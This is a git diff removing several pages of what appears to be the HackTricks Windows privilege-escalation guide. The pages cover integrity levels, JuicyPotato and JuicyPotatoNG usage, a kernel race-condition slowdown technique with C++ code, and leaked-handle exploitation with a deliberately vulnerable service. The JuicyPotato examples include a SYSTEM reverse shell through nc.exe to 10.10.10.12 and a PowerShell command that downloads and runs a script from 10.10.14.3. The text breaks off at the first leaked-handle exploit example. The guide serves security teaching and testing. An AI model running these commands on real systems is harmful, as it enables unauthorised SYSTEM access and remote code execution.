-        NT AUTHORITY\INTERACTIVE:(I)(M,DC)
-        NT AUTHORITY\SERVICE:(I)(M,DC)
-        NT AUTHORITY\BATCH:(I)(M,DC)
-        Mandatory Label\High Mandatory Level:(NW)
-```
-
-This is where things get interesting. You can see that the user `DESKTOP-IDJHTKP\user` has **FULL privileges** over the file (indeed this was the user that created the file), however, due to the minimum integrity level implemented he won't be able to modify the file anymore unless he is running inside a High Integrity Level (note that he will be able to read it):
-
-```
-echo 1234 > asd.txt
-Access is denied.
-
-del asd.txt
-C:\Users\Public\asd.txt
-Access is denied.
-```
-
-> [!TIP]
-> **Therefore, when a file has a minimum integrity level, in order to modify it you need to be running at least in that integrity level.**
-
-### Integrity Levels in Binaries
-
-I made a copy of `cmd.exe` in `C:\Windows\System32\cmd-low.exe` and set it an **integrity level of low from an administrator console:**
-
-```
-icacls C:\Windows\System32\cmd-low.exe
-C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F)
-                                BUILTIN\Administrators:(I)(F)
-                                BUILTIN\Users:(I)(RX)
-                                APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
-                                APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)
-                                Mandatory Label\Low Mandatory Level:(NW)
-```
-
-Now, when I run `cmd-low.exe` it will **run under a low-integrity level** instead of a medium one:
-
-![Integrity Levels in File-system - Integrity Levels in Binaries: Now, when I run cmd-low.exe it will run under a low-integrity level instead of a medium one](<../../images/image (313).png>)
-
-For curious people, if you assign high integrity level to a binary (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`) it won't run with high integrity level automatically (if you invoke it from a medium integrity level --by default-- it will run under a medium integrity level).
-
-### Integrity Levels in Processes
-
-Not all files and folders have a minimum integrity level, **but all processes are running under an integrity level**. And similar to what happened with the file-system, **if a process wants to write inside another process it must have at least the same integrity level**. This means that a process with low integrity level can’t open a handle with full access to a process with medium integrity level.
-
-Due to the restrictions commented in this and the previous section, from a security point of view, it's always **recommended to run a process in the lower level of integrity possible**.
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
deleted file mode 100644
index 55f3dd7a527..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
+++ /dev/null
@@ -1,162 +0,0 @@
-# JuicyPotato
-
-{{#include ../../banners/hacktricks-training.md}}
-
-> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage.
-
-
-{{#ref}}
-roguepotato-and-printspoofer.md
-{{#endref}}
-
-## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
-
-_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
-
-#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
-
-### Compatibility quick notes
-
-- Works reliably up to Windows 10 1803 and Windows Server 2016 when the current context has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.
-- Broken by Microsoft hardening in Windows 10 1809 / Windows Server 2019 and later. Prefer the alternatives linked above for those builds.
-
-### Summary <a href="#summary" id="summary"></a>
-
-[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
-
-[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
-
-We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**.
-
-> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
-
-We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to:
-
-1. be instantiable by the current user, normally a “service user” which has impersonation privileges
-2. implement the `IMarshal` interface
-3. run as an elevated user (SYSTEM, Administrator, …)
-
-After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions.
-
-### Juicy details <a href="#juicy-details" id="juicy-details"></a>
-
-JuicyPotato allows you to:
-
-- **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._
-- **COM Listening port** _define COM listening port you prefer (instead of the marshalled hardcoded 6666)_
-- **COM Listening IP address** _bind the server on any IP_
-- **Process creation mode** _depending on the impersonated user’s privileges you can choose from:_
-  - `CreateProcessWithToken` (needs `SeImpersonate`)
-  - `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
-  - `both`
-- **Process to launch** _launch an executable or script if the exploitation succeeds_
-- **Process Argument** _customize the launched process arguments_
-- **RPC Server address** _for a stealthy approach you can authenticate to an external RPC server_
-- **RPC Server port** _useful if you want to authenticate to an external server and firewall is blocking port `135`…_
-- **TEST mode** _mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
-
-### Usage <a href="#usage" id="usage"></a>
-
-```
-T:\>JuicyPotato.exe
-JuicyPotato v0.1
-
-Mandatory args:
--t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
--p <program>: program to launch
--l <port>: COM server listen port
-
-
-Optional args:
--m <ip>: COM server listen address (default 127.0.0.1)
--a <argument>: command line argument to pass to program (default NULL)
--k <ip>: RPC server ip address (default 127.0.0.1)
--n <port>: RPC server listen port (default 135)
-```
-
-### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
-
-[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
-
-If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**.
-
-It’s nearly impossible to prevent the abuse of all these COM Servers. You could think about modifying the permissions of these objects via `DCOMCNFG` but good luck, this is gonna be challenging.
-
-The actual solution is to protect sensitive accounts and applications which run under the `* SERVICE` accounts. Stopping `DCOM` would certainly inhibit this exploit but could have a serious impact on the underlying OS.
-
-From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
-
-## JuicyPotatoNG (2022+)
-
-JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining:
-- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
-- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
-- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).
-
-Important notes (evolving behavior across builds):
-- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
-- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
-
-Basic usage (more flags in the help):
-
-```
-JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"  
-# Useful helpers:  
-#  -b  Bruteforce all CLSIDs (testing only; spawns many processes)  
-#  -s  Scan for a COM port not filtered by Windows Defender Firewall  
-#  -i  Interactive console (only with CreateProcessAsUser)
-```
-
-If you’re targeting Windows 10 1809 / Server 2019 where classic JuicyPotato is patched, prefer the alternatives linked at the top (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG may be situational depending on build and service state.
-
-## Examples
-
-Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
-
-### Get a nc.exe reverse shell
-
-```
-c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
-
-Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
-......
-[+] authresult 0
-{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
-
-[+] CreateProcessWithTokenW OK
-
-c:\Users\Public>
-```
-
-### Powershell rev
-
-```
-.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
-```
-
-### Launch a new CMD (if you have RDP access)
-
-![Powershell rev - Launch a new CMD (if you have RDP access): Launch a new CMD (if you have RDP access)](<../../images/image (300).png>)
-
-## CLSID Problems
-
-Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page:
-
-- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
-
-### **Checking CLSIDs**
-
-First, you will need some executables apart from juicypotato.exe.
-
-Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) and load it into your PS session, and download and execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). That script will create a list of possible CLSIDs to test.
-
-Then download [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(change the path to the CLSID list and to the juicypotato executable) and execute it. It will start trying every CLSID, and **when the port number changes, it will mean that the CLSID worked**.
-
-**Check** the working CLSIDs **using the parameter -c**
-
-## References
-
-- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
-- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown.md b/src/windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown.md
deleted file mode 100644
index 299f51b1305..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown.md
+++ /dev/null
@@ -1,138 +0,0 @@
-# Kernel Race Condition Exploitation via Object Manager Slow Paths
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Why stretching the race window matters
-
-Many Windows kernel LPEs follow the classic pattern `check_state(); NtOpenX("name"); privileged_action();`. On modern hardware a cold `NtOpenEvent`/`NtOpenSection` resolves a short name in ~2 µs, leaving almost no time to flip the checked state before the secure action happens. By deliberately forcing the Object Manager Namespace (OMNS) lookup in step 2 to take tens of microseconds, the attacker gains enough time to consistently win otherwise flaky races without needing thousands of attempts.
-
-## Object Manager lookup internals in a nutshell
-
-* **OMNS structure** – Names such as `\BaseNamedObjects\Foo` are resolved directory-by-directory. Each component causes the kernel to find/open an *Object Directory* and compare Unicode strings. Symbolic links (e.g., drive letters) may be traversed en route.
-* **UNICODE_STRING limit** – OM paths are carried inside a `UNICODE_STRING` whose `Length` is a 16-bit value. The absolute limit is 65 535 bytes (32 767 UTF-16 codepoints). With prefixes like `\BaseNamedObjects\`, an attacker still controls ≈32 000 characters.
-* **Attacker prerequisites** – Any user can create objects underneath writable directories such as `\BaseNamedObjects`. When the vulnerable code uses a name inside, or follows a symbolic link that lands there, the attacker controls the lookup performance with no special privileges.
-
-## Slowdown primitive #1 – Single maximal component
-
-The cost of resolving a component is roughly linear with its length because the kernel must perform a Unicode comparison against every entry in the parent directory. Creating an event with a 32 kB-long name immediately increases the `NtOpenEvent` latency from ~2 µs to ~35 µs on Windows 11 24H2 (Snapdragon X Elite testbed).
-
-```cpp
-std::wstring path;
-while (path.size() <= 32000) {
-    auto result = RunTest(L"\\BaseNamedObjects\\A" + path, 1000);
-    printf("%zu,%f\n", path.size(), result);
-    path += std::wstring(500, 'A');
-}
-```
-
-*Practical notes*
-
-- You can hit the length limit using any named kernel object (events, sections, semaphores…).
-- Symbolic links or reparse points can point a short “victim” name to this giant component so the slowdown is applied transparently.
-- Because everything lives in user-writable namespaces, the payload works from a standard user integrity level.
-
-## Slowdown primitive #2 – Deep recursive directories
-
-A more aggressive variant allocates a chain of thousands of directories (`\BaseNamedObjects\A\A\...\X`). Each hop triggers directory resolution logic (ACL checks, hash lookups, reference counting), so the per-level latency is higher than a single string compare. With ~16 000 levels (limited by the same `UNICODE_STRING` size), empirical timings surpass the 35 µs barrier achieved by long single components.
-
-```cpp
-ScopedHandle base_dir = OpenDirectory(L"\\BaseNamedObjects");
-HANDLE last_dir = base_dir.get();
-std::vector<ScopedHandle> dirs;
-for (int i = 0; i < 16000; i++) {
-    dirs.emplace_back(CreateDirectory(L"A", last_dir));
-    last_dir = dirs.back().get();
-    if ((i % 500) == 0) {
-        auto result = RunTest(GetName(last_dir) + L"\\X", iterations);
-        printf("%d,%f\n", i + 1, result);
-    }
-}
-```
-
-Tips:
-
-* Alternate the character per level (`A/B/C/...`) if the parent directory starts rejecting duplicates.
-* Keep a handle array so you can delete the chain cleanly after exploitation to avoid polluting the namespace.
-
-## Slowdown primitive #3 – Shadow directories, hash collisions & symlink reparses (minutes instead of microseconds)
-
-Object directories support **shadow directories** (fallback lookups) and bucketed hash tables for entries. Abuse both plus the 64-component symbolic-link reparse limit to multiply slowdown without exceeding the `UNICODE_STRING` length:
-
-1. Create two directories under `\BaseNamedObjects`, e.g. `A` (shadow) and `A\A` (target). Create the second using the first as the shadow directory (`NtCreateDirectoryObjectEx`), so missing lookups in `A` fall through to `A\A`.
-2. Fill each directory with thousands of **colliding names** that land in the same hash bucket (e.g., varying trailing digits while keeping the same `RtlHashUnicodeString` value). Lookups now degrade to O(n) linear scans inside a single directory.
-3. Build a chain of ~63 **object manager symbolic links** that repeatedly reparse into the long `A\A\…` suffix, consuming the reparse budget. Each reparse restarts parsing from the top, multiplying the collision cost.
-4. Lookup of the final component (`...\\0`) now takes **minutes** on Windows 11 when 16 000 collisions are present per directory, providing a practically guaranteed race win for one-shot kernel LPEs.
-
-```cpp
-ScopedHandle shadow = CreateDirectory(L"\\BaseNamedObjects\\A");
-ScopedHandle target = CreateDirectoryEx(L"A", shadow.get(), shadow.get());
-CreateCollidingEntries(shadow, 16000, dirs);
-CreateCollidingEntries(target, 16000, dirs);
-CreateSymlinkChain(shadow, LongSuffix(L"\\A", 16000), 63);
-printf("%f\n", RunTest(LongSuffix(L"\\A", 16000) + L"\\0", 1));
-```
-
-*Why it matters*: A minutes-long slowdown turns one-shot race-based LPEs into deterministic exploits.
-
-### 2025 retest notes & ready-made tooling
-
-- James Forshaw republished the technique with updated timings on Windows 11 24H2 (ARM64). Baseline opens remain ~2 µs; a 32 kB component raises this to ~35 µs, and shadow-dir + collision + 63-reparse chains still reach ~3 minutes, confirming the primitives survive current builds. Source code and perf harness are in the refreshed Project Zero post.
-- You can script setup using the public `symboliclink-testing-tools` bundle: `CreateObjectDirectory.exe` to spawn the shadow/target pair and `NativeSymlink.exe` in a loop to emit the 63-hop chain. This avoids hand-written `NtCreate*` wrappers and keeps ACLs consistent.
-
-## Measuring your race window
-
-Embed a quick harness inside your exploit to measure how large the window becomes on the victim hardware. The snippet below opens the target object `iterations` times and returns the average per-open cost using `QueryPerformanceCounter`.
-
-```cpp
-static double RunTest(const std::wstring name, int iterations,
-        std::wstring create_name = L"", HANDLE root = nullptr) {
-    if (create_name.empty()) {
-        create_name = name;
-    }
-    ScopedHandle event_handle = CreateEvent(create_name, root);
-    ObjectAttributes obja(name);
-    std::vector<ScopedHandle> handles;
-    Timer timer;
-    for (int i = 0; i < iterations; ++i) {
-        HANDLE open_handle;
-        Check(NtOpenEvent(&open_handle, MAXIMUM_ALLOWED, &obja));
-        handles.emplace_back(open_handle);
-    }
-    return timer.GetTime(iterations);
-}
-```
-
-The results feed directly into your race orchestration strategy (e.g., number of worker threads needed, sleep intervals, how early you need to flip the shared state).
-
-## Exploitation workflow
-
-1. **Locate the vulnerable open** – Trace the kernel path (via symbols, ETW, hypervisor tracing, or reversing) until you find an `NtOpen*`/`ObOpenObjectByName` call that walks an attacker-controlled name or a symbolic link in a user-writable directory.
-2. **Replace that name with a slow path**
-   - Create the long component or directory chain under `\BaseNamedObjects` (or another writable OM root).
-   - Create a symbolic link so that the name the kernel expects now resolves to the slow path. You can point the vulnerable driver’s directory lookup to your structure without touching the original target.
-3. **Trigger the race**
-   - Thread A (victim) executes the vulnerable code and blocks inside the slow lookup.
-   - Thread B (attacker) flips the guarded state (e.g., swaps a file handle, rewrites a symbolic link, toggles object security) while Thread A is occupied.
-   - When Thread A resumes and performs the privileged action, it observes stale state and performs the attacker-controlled operation.
-4. **Clean up** – Delete the directory chain and symbolic links to avoid leaving suspicious artifacts or breaking legitimate IPC users.
-
-## Operational considerations
-
-- **Combine primitives** – You can use a long name *per level* in a directory chain for even higher latency until you exhaust the `UNICODE_STRING` size.
-- **One-shot bugs** – The expanded window (tens of microseconds to minutes) makes “single trigger” bugs realistic when paired with CPU affinity pinning or hypervisor-assisted preemption.
-- **Side effects** – The slowdown only affects the malicious path, so overall system performance remains unaffected; defenders will rarely notice unless they monitor namespace growth.
-- **Cleanup** – Keep handles to every directory/object you create so you can call `NtMakeTemporaryObject`/`NtClose` afterwards. Unbounded directory chains may persist across reboots otherwise.
-- **File-system races** – If the vulnerable path ultimately resolves through NTFS, you can stack an Oplock (e.g., `SetOpLock.exe` from the same toolkit) on the backing file while the OM slowdown runs, freezing the consumer for additional milliseconds without altering the OM graph.
-
-## Defensive notes
-
-- Kernel code that relies on named objects should re-validate security-sensitive state *after* the open, or take a reference before the check (closing the TOCTOU gap).
-- Enforce upper bounds on OM path depth/length before dereferencing user-controlled names. Rejecting overly long names forces attackers back into the microsecond window.
-- Instrument object manager namespace growth (ETW `Microsoft-Windows-Kernel-Object`) to detect suspicious thousands-of-components chains under `\BaseNamedObjects`.
-
-## References
-
-- [Project Zero – Windows Exploitation Techniques: Winning Race Conditions with Path Lookups](https://projectzero.google/2025/12/windows-exploitation-techniques.html)
-- [googleprojectzero/symboliclink-testing-tools](https://github.com/googleprojectzero/symboliclink-testing-tools)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
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-# Leaked Handle Exploitation
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Introduction
-
-Handles in a process allow to **access** different **Windows resources**:
-
-![RootedCON2022 - Exploiting Leaked Handles for LPE](<../../images/image (246).png>)
-
-There have been already several **privilege escalation** cases where a **privileged process** with **open and inheritable handles** have **run** an **unprivileged process** giving it **access to all those handles**.
-
-For example, imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also creates a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\
-Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.
-
-## **Interesting Handles**
-
-### **Process**
-
-As you read on the initial example if an **unprivileged process inherits a process handle** of a **privileged process** with enough permissions it will be able to execute **arbitrary code on it**.
-
-In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can see how to exploit any process handle that has any of the following permissions:
-
-- PROCESS_ALL_ACCESS
-- PROCESS_CREATE_PROCESS
-- PROCESS_CREATE_THREAD
-- PROCESS_DUP_HANDLE
-- PROCESS_VM_WRITE
-
-### Thread
-
-Similar to the process handles, if an **unprivileged process inherits a thread handle** of a **privileged process** with enough permissions it will be able to execute **arbitrary code on it**.
-
-In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can also see how to exploit any process handle that has any of the following permissions:
-
-- THREAD_ALL_ACCESS
-- THREAD_DIRECT_IMPERSONATION
-- THREAD_SET_CONTEXT
-
-### File, Key & Section Handles
-
-If an **unprivileged process inherits** a **handle** with **write** equivalent **permissions** over a **privileged file or registry**, it will be able to **overwrite** the file/registry (and with a lot of **luck**, **escalate privileged**).
-
-**Section Handles** are similar to file handles, the common name of this kinds of [objects is **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). They are used to work with **big files without keeping the entire** file in memory. That makes the exploitation kind of "similar" to the exploitation of a File Handle.
-
-## How to see handles of processes
-
-### Process Hacker
-
-[**Process Hacker**](https://github.com/processhacker/processhacker) is a tool you can download for free. It has several amazing options to inspect processes and one of them is the **capability to see the handles of each process**.
-
-Note that in order to **see all the handles of all the processes, the SeDebugPrivilege is needed** (so you need to run Process Hacker as administrator).
-
-To see the handles of a process, right click in the process and select Handles:
-
-![How to see handles of processes - Process Hacker: To see the handles of a process, right click in the process and select Handles](<../../images/image (616).png>)
-
-You can then right click on the handle and **check the permissions**:
-
-![How to see handles of processes - Process Hacker: You can then right click on the handle and check the permissions](<../../images/image (946).png>)
-
-### Sysinternals Handles
-
-The [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binary from Sysinternals will also list the handles per process in the console:
-
-![Process Hacker - Sysinternals Handles: The Handles binary from Sysinternals will also list the handles per process in the console](<../../images/image (720).png>)
-
-### LeakedHandlesFinder
-
-[**This tool**](https://github.com/lab52io/LeakedHandlesFinder) allows you to **monitor** leaked **handles** and even **autoexploit** them to escalate privileges.
-
-### Methodology
-
-Now that you know how to find handles of processes what you need to check is if any **unprivileged process is having access to privileged handles**. In that case, the user of the process could be able to obtain the handle and abuse it to escalate privileges.
-
-> [!WARNING]
-> It was mentioned before that you need the SeDebugPrivilege to access all the handles. But a **user can still access the handles of his processes**, so it might be useful if you want to privesc just from that user to **execute the tools with the user regular permissions**.
->
-> ```bash
-> handle64.exe /a | findstr /r /i "process thread file key pid:"
-> ```
-
-## Vulnerable Example
-
-For example, the following code belongs to a **Windows service** that would be vulnerable. The vulnerable code of this service binary is located inside the **`Exploit`** function. This function is starts **creating a new handle process with full access**. Then, it's **creating a low privileged process** (by copying the low privileged token of _explorer.exe_) executing _C:\users\username\desktop\client.exe_. The **vulnerability resides in the fact it's creating the low privileged process with `bInheritHandles` as `TRUE`**.
-
-Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode (see next section).
-
-```c
-#include <windows.h>
-#include <tlhelp32.h>
-#include <tchar.h>
-#pragma comment (lib, "advapi32")
-
-TCHAR* serviceName = TEXT("HandleLeakSrv");
-SERVICE_STATUS serviceStatus;
-SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
-HANDLE stopServiceEvent = 0;
-
-
-//Find PID of a proces from its name
-int FindTarget(const char *procname) {
-
-	HANDLE hProcSnap;
-	PROCESSENTRY32 pe32;
-	int pid = 0;
-
-	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
-	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
-
-	pe32.dwSize = sizeof(PROCESSENTRY32);
-
-	if (!Process32First(hProcSnap, &pe32)) {
-			CloseHandle(hProcSnap);
-			return 0;
-	}
-
-	while (Process32Next(hProcSnap, &pe32)) {
-			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
-					pid = pe32.th32ProcessID;
-					break;
-			}
-	}
-
-	CloseHandle(hProcSnap);
-
-	return pid;
-}
-
-
-int Exploit(void) {
-
-  	STARTUPINFOA si;
-  	PROCESS_INFORMATION pi;
-	int pid = 0;
-  	HANDLE hUserToken;
-	HANDLE hUserProc;
-  	HANDLE hProc;
-
-	// open a handle to itself (privileged process) - this gets leaked!
-  	hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
-
-	// get PID of user low privileged process
-	if ( pid = FindTarget("explorer.exe") )
-		hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
-	else
-		return -1;
-
-	// extract low privilege token from a user's process
-    if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
-        CloseHandle(hUserProc);
-        return -1;
-    }
-
-	// spawn a child process with low privs and leaked handle
-    ZeroMemory(&si, sizeof(si));
-    si.cb = sizeof(si);
-    ZeroMemory(&pi, sizeof(pi));
-    CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
-						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
-
-	CloseHandle(hProc);
-	CloseHandle(hUserProc);
-    return 0;
-}
-
-
-
-void WINAPI ServiceControlHandler( DWORD controlCode ) {
-	switch ( controlCode ) {
-		case SERVICE_CONTROL_SHUTDOWN:
-		case SERVICE_CONTROL_STOP:
-			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
-			SetServiceStatus( serviceStatusHandle, &serviceStatus );
-
-			SetEvent( stopServiceEvent );
-			return;
-
-		case SERVICE_CONTROL_PAUSE:
-			break;
-
-		case SERVICE_CONTROL_CONTINUE:
-			break;
-
-		case SERVICE_CONTROL_INTERROGATE:
-			break;
-
-		default:
-			break;
-	}
-	SetServiceStatus( serviceStatusHandle, &serviceStatus );
-}
-
-void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
-	// initialise service status
-	serviceStatus.dwServiceType = SERVICE_WIN32;
-	serviceStatus.dwCurrentState = SERVICE_STOPPED;
-	serviceStatus.dwControlsAccepted = 0;
-	serviceStatus.dwWin32ExitCode = NO_ERROR;
-	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
-	serviceStatus.dwCheckPoint = 0;
-	serviceStatus.dwWaitHint = 0;
-
-	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
-
-	if ( serviceStatusHandle ) {
-		// service is starting
-		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
-		SetServiceStatus( serviceStatusHandle, &serviceStatus );
-
-		// do initialisation here
-		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
-
-		// running
-		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
-		serviceStatus.dwCurrentState = SERVICE_RUNNING;
-		SetServiceStatus( serviceStatusHandle, &serviceStatus );
-
-		Exploit();
-		WaitForSingleObject( stopServiceEvent, -1 );
-
-		// service was stopped
-		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
-		SetServiceStatus( serviceStatusHandle, &serviceStatus );
-
-		// do cleanup here
-		CloseHandle( stopServiceEvent );
-		stopServiceEvent = 0;
-
-		// service is now stopped
-		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
-		serviceStatus.dwCurrentState = SERVICE_STOPPED;
-		SetServiceStatus( serviceStatusHandle, &serviceStatus );
-	}
-}
-
-
-void InstallService() {
-	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
-
-	if ( serviceControlManager ) {
-		TCHAR path[ _MAX_PATH + 1 ];
-		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
-			SC_HANDLE service = CreateService( serviceControlManager,
-							serviceName, serviceName,
-							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
-							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
-							0, 0, 0, 0, 0 );
-			if ( service )
-				CloseServiceHandle( service );
-		}
-		CloseServiceHandle( serviceControlManager );
-	}
-}
-
-void UninstallService() {
-	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
-
-	if ( serviceControlManager ) {
-		SC_HANDLE service = OpenService( serviceControlManager,
-			serviceName, SERVICE_QUERY_STATUS | DELETE );
-		if ( service ) {
-			SERVICE_STATUS serviceStatus;
-			if ( QueryServiceStatus( service, &serviceStatus ) ) {
-				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
-					DeleteService( service );
-			}
-			CloseServiceHandle( service );
-		}
-		CloseServiceHandle( serviceControlManager );
-	}
-}
-
-int _tmain( int argc, TCHAR* argv[] )
-{
-	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
-		InstallService();
-	}
-	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
-		UninstallService();
-	}
-	else  {
-		SERVICE_TABLE_ENTRY serviceTable[] = {
-			{ serviceName, ServiceMain },
-			{ 0, 0 }
-		};
-
-		StartServiceCtrlDispatcher( serviceTable );
-	}
-
-	return 0;
-}
-```
-
-### Exploit Example 1
-
-> [!TIP]
